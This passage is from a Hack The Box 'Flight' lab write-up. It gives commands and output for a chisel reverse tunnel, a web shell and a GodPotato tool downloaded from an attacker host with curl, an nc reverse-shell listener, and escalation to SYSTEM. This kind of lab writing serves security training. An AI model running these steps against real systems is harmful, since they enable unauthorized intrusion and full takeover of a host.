C:\Users\C.Bum\Desktop>
1
2
3
4
C:\Temp>.\chisel.exe client 10.10.16.25:1338 R:8989:127.0.0.1:8000 
.\chisel.exe client 10.10.16.25:1338 R:8989:127.0.0.1:8000
2024/11/15 14:54:44 client: Connecting to ws://10.10.16.25:1338
2024/11/15 14:54:51 client: Connected (Latency 356.1606ms)
1
2
3
4
5
6
7
8
9
10
11
➜  Flight chisel server --reverse -p 1338 -v
2024/11/15 15:22:37 server: Reverse tunnelling enabled
2024/11/15 15:22:37 server: Fingerprint qjzDZAxmyopYIyjjHepp/tGY+pmdLBP3tWafTwLDK3o=
2024/11/15 15:22:37 server: Listening on http://0.0.0.0:1338
2024/11/15 15:22:41 server: session#1: Handshaking with 10.129.228.120:51486...
2024/11/15 15:22:45 server: session#1: Verifying configuration
2024/11/15 15:22:46 server: session#1: Client version (1.9.1) differs from server version (1.10.1-0kali1)
2024/11/15 15:22:46 server: session#1: tun: Created
2024/11/15 15:22:46 server: session#1: tun: SSH connected
2024/11/15 15:22:46 server: session#1: tun: proxy#R:8989=>8000: Listening
2024/11/15 15:22:46 server: session#1: tun: Bound proxies

By using chisel i forwarded port 8000 to my local machin in port 8989, i got a web page

Since we can access this page so we can add a web shell page in C:\inetpub\development so we can access it from web page and c.bum has write permission on that folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

C:\inetpub\development>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1DF4-493D

Directory of C:\inetpub\development

11/15/2024 02:57 PM <DIR> .
11/15/2024 02:57 PM <DIR> ..
04/16/2018 01:23 PM 9,371 contact.html
11/15/2024 02:57 PM <DIR> css
11/15/2024 02:57 PM <DIR> fonts
11/15/2024 02:57 PM <DIR> img
04/16/2018 01:23 PM 45,949 index.html
11/15/2024 02:57 PM <DIR> js
2 File(s) 55,320 bytes
6 Dir(s) 5,082,267,648 bytes free

C:\inetpub\development>curl 10.10.16.25:1337/cmd.aspx -o cmd.aspx
curl 10.10.16.25:1337/cmd.aspx -o cmd.aspx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1547 100 1547 0 0 847 0 0:00:01 0:00:01 --:--:-- 847

C:\inetpub\development>

After adding a nw web shell file in that i was able to access it from localhost:8989 and can execute commands too, by entering a simple powershell reverse shell we were able to get a shell back as iis apppool\defaultapppool

1
2
3
4
5
6
7
➜  Flight nc -nvlp 1290
Listening on 0.0.0.0 1290
Connection received on 10.129.228.120 51529

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv>

After checking privileges we can see, we have SeImpersonatePrivilege, so we can use Godpotato to get Administrator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\windows\system32\inetsrv> cd C:/
PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\>

nt authority\system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PS C:\Temp> curl 10.10.16.25:1337/gp.exe -o gp.exe
PS C:\Temp> .\gp.exe -cmd whoami
[*] CombaseModule: 0x140736534806528
[*] DispatchTable: 0x140736537112640
[*] UseProtseqFunction: 0x140736536489168
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\a80f3938-115f-4bdf-ad5c-5029c767bb5a\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000a002-049c-ffff-b4f4-9b89e2edcafa
[*] DCOM obj OXID: 0x8f56ec562db99e0d
[*] DCOM obj OID: 0xd926ad70010f2218
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 920 Token:0x732 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 5908
nt authority\system
PS C:\Temp>

After uploading Godpotato and executing it we got nt authority\system and we completed our machine.

  • Title: Flight - Hack The Box
  • Author: Sebin Thomas
  • Created at : 2024-11-15 16:32:00
  • Updated at : 2025-02-24 21:01:48
  • Link: https://0xsebin-blogs.vercel.app/2024/11/15/Flight-HackTheBox/
  • License: All Rights Reserved © Sebin Thomas
Comments
On this page
Flight - Hack The Box